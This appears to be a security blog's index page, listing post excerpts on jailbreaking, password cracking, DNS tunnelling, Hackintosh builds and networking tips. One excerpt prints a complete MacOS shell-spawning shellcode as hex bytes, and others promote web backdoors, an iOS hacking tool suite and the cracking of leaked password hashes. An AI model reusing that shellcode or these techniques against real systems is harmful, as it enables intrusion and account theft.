Thireus' Bl0g

bypass

DNS Tunneling iodine 0.6.0-rc1 iOS version – IPv4 over DNS tunnel on your iPhone/iPad/iPod Touch

The famous DNS tunneling client, iodine 0.6.0-rc1 for iOS 6.1! Available on Thireus Cydia Repository… Like me, you may have faced this situation when you really need Internet but only have access to non-free WiFi hotspots (in an airport, tube, train, etc.). And even worst, when you

2013

Look Back on 2012's Famous Password Hash Leaks - Wordlist, Analysis and New Cracking Techniques

This article is a collaborative work between 3 authors. This is our look back on the most famous public password leaks of 2012. Authors: m3g9tr0n, Thireus, CrackTheHash | Copy Editor: Thireus. Nowadays, different black hat hacking communities around the World are publishing their leaks on various online paste Web Services like

aes_decrypt

Smartphone vs Smartphone Ownage PoC - Android ironha1l Spy Tool Suite to Hack/Pwn iOS Devices

Android and iOS devices are today a prime target for hackers, and for a good reason, two of the main factors of the perfect attack are combined while exceeding any of the attacker's expectations. This article is about the ironha1l Tool Suite I have created. This article is intended to

AMD

Cracking Story - How I Cracked Over 122 Million SHA1 and MD5 Hashed Passwords

This is the story about how I cracked 122 million* password hashes with John the Ripper and oclHashcat-plus. Author: m3g9tr0n, Copy Editor: Thireus. It was several months ago, when I (m3g9tr0n) saw a tweet from KoreLogic about a torrent file containing various hash lists of passwords for a total of

10.8

[GUIDE] HackinTosh – Install MacOS Mountain Lion 10.8 to 10.8.5 on Asus SaberTooth P67 in 3 STEPS

How to build a HackinTosh with Mountain Lion (10.8), the latest version of MacOS X. During this very hot summer (about 37°C outside), I spent about 20 hours in an entire weekend to install MacOS 10.8 Mountain Lion on my Asus Sabertooth P67. Really, there's no best

bruteforce

John the Ripped – Steak and French Fries With Salt and Pepper Sauce for Hungry Password Crackers

John the Ripper into its latest community enhanced version (John the Ripper 1.7.9-jumbo-5) has many advanced features. Most of them are without any doubt very useful and appreciated such as MD5 hash cracking. Four days to come before Hack In The Box Amsterdam 2012 security conferences. Excitement is

3.2.6

BackTrack 5 R2 – VirtualBox Guest Additions + USB Issues Fixes

The famous Linux-based penetration testing arsenal can run in VirtualBox. However, some tricks are needed to have the latest version fully functional with VirtualBox. For the ST’HACK Ethical Hacking Contest tonight in Bordeaux (France), all tools must be ready before the battle begins. MacBooks are armed, scripts are ready

AGPM

Unigine Heaven 3.0 for MacOS X – 3D Benchmark your HackinTosh!

Unigine Heaven 3.0 is out for MacOS X. We finally have a good 3D benchmark software on Mac! You can download Unigine Heaven from this page: https://unigine.com/products/heaven/download/. Downloads are available for Windows, Linux and now OSX! Today I benchmarked my NVIDIA ENGTX480 and AMD

0.0.0.0

Untrusted Hosts Blocker – Block Ads, Spies, Tracking and Untrusted Hosts on iPhone/iPad/iPod Touch

Today I've released a firewall package on Thireus Cydia Repository: Untrusted Hosts Blocker Do you know that iOS applications can track you and steal confidential data on your smartphone? This data can be quietly transmitted to online services. Act now and say STOP to ads, spies, tracking and untrusted hosts

alpine

Thireus Repository - New Cydia Security-Oriented Repository

Today I would like to introduce you a new Cydia Repository… Thireus Repository. After my fresh new JailBreak, I decided to give a little push to my current JailBreak tool projects. So I created my own Cydia repository to host future apps. Currently the repository only contains 2 packages, one

06.15.00

Common iOS JailBreak Issues - Restoration Fails, Location Service with Signal and WiFi Loss, Fix Push Notifications, Fix GPS, Downgrade BaseBand

JailBreaking is easy, but you can face many issues before and after the process. Let’s see how to fix some of them… It was friday night, I was playing with my old iOS 5.0.1 JailBroken 3GS device, and did something nasty installing bad Cydia packages. My iPhone

alternative

SparkleShare - Free Open Source DropBox Alternative and Client Side Encryption

Create your own free and secure DropBox with SparkleShare! SparkleShare is a free and Open Source alternative to the famous DropBox service, which allows users to upload and store files in the cloud. You can download this utility (currently supported for MacOS, Linux and Android) from sparkleshare.org. SparkleShare has

certificate

Secure Web Browsing with 6 Google Chrome Extensions

SSL/TLS enforcer extensions – HTTPS all the way over the Internet If you ever wanted to use SSL/TLS automatically with any website that provides this security feature, then some Google Chrome extensions can help you with this. You can test “KB SSL Enforcer” with my blog. Install the first

bruteforce

Crack Passwords using John the Ripper with Multiple CPU Cores (OpenMP)

John the Ripper is a fast and famous password cracker. John can break many password hashes, but one of the primary missing feature was the CPU multiple core support. But today, John the Ripper 1.7.9 supports OpenMP which brings Multi-Processing. Of course this feature was present on some

bruteforce

Web Common Directories and Filenames - Word Lists Collection

Current WordLists Release : 20111129 I have created some lists of words based on common web directory and file names. These wordlists are for Web security testing purpose. CHANGELOG: 29/11/11: 20111129 More words, more fun. Updated with some fresh new critical words. 28/11/11: 20111128 Updated and cleaned

asm

execve("/bin//sh", ["/bin//sh"], NULL) - MacOS mach-o-x86-64

Shellcode – DetailsSystem call(s):execve(“/bin//sh”, [“/bin//sh”], NULL)Size (char):35Shellcode:\x48\x31\xd2\x48\xc7\xc0\xf6\xff\xff\x01\x48\x83\xc0\x45\x5f\x52\x57\x48\x89\xe6\x0f\x05\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68ArchitectureCPU maker:IntelArchitecture:

asp

A Collection of PHP & ASP Web Backdoors & Shells

Hack the web, the russian way Let me introduce you some of my favorite Web Backdoors, most of them are well known since 2005. I personally know C99Shell since 2007, when some lamers attempted to hack DareYourMind. But now I’m most used to R57shell, which works very well when

blog

Hell0 W0rld... again!

Oh. Hello… again, it’s been a looong time. For this little step on the other side of the mirror, I’m glad to announce I’m finally back online and ready to post new articles. I’ve been away these past few months due to my studies, an internship

analyse

Analyse Traffic Remotely over SSH with your Local WireShark Application

Tcpdump (remote) and WireShark (local) can be combined to analyse your router’s traffic While I was debugging my DDWRT router, I wanted to analyse some traffic between my DDWRT router and my iPhone. Usually I perform a MITM attack for thus purpose, but I recently found that tcpdump could

adaptator

DDWRT - ASUS WL-500G(P/X) & WL-500W Unbrick Method

There is a method to unbrick your Asus WL-500G(P/X) & WL-500W routers, and put them in recovery mode for a new and fresh TFTP firmware transfer. This method can also be used to bring your router back on the original Asus firmware. Example of bricked router: 1.4

32bits

RAID 0 Apple Software + x86_64 kernel + GUID + Dual Boot Seven

Ok, it’s been about 4 days since I’m working on this, and it’s almost over... Let me explain a little bit what I’m trying to build here… I bought two 500GB Hard Drives. And I wanted to set up a RAID 0 with them. Unfortunately my

apple

How to Install iOS Perl Framework on iPhone, iPod Touch or iPad

Perl this very popular and versatile interpreted language… can be installed on your iOS device! UPDATE: Tested and working on iOS 5! UPDATE 2: Tested and working on iOS 6! Requirements: A Jailbroken device with Cydia and 19 MB free space available (for package download, but it will also need

3GS

iPhone OS4 Jailbreak - Free up some space for your / partition.

After the Jailbreak of my iPhone 3GS using JailbreakMe.com, I tried to restore all my previous Jailbreak Apps. Unfortunately the / partition of my iPhone was quickly out of space and I wasn’t able to install all my apps. Fortunately someone created a little script to free this partition

ad

How To Get Socks Proxy + SSH Tunneling To Work On A Jailbroken iPhone/iPod Touch/iPad

UPDATE: Under 5.0.1, only Safari bypasses locally-stored .pac rules… Please READ issue #6 of the following article to know more about this issue. This article is for advanced users. Step by step instructions have been skipped. I’ll only provide the required files to use a SOCKS proxy

arp

Tip - Quick Method To Scan Hosts Using ping

Assuming the router you’re connected to doesn't filter any IPv4 broadcasts, you can use ping and arp to perform a quick scan of your network. For example, if your network is 192.168.1.0/24: ping 192.168.1.255 (on Linux, the -b option is often required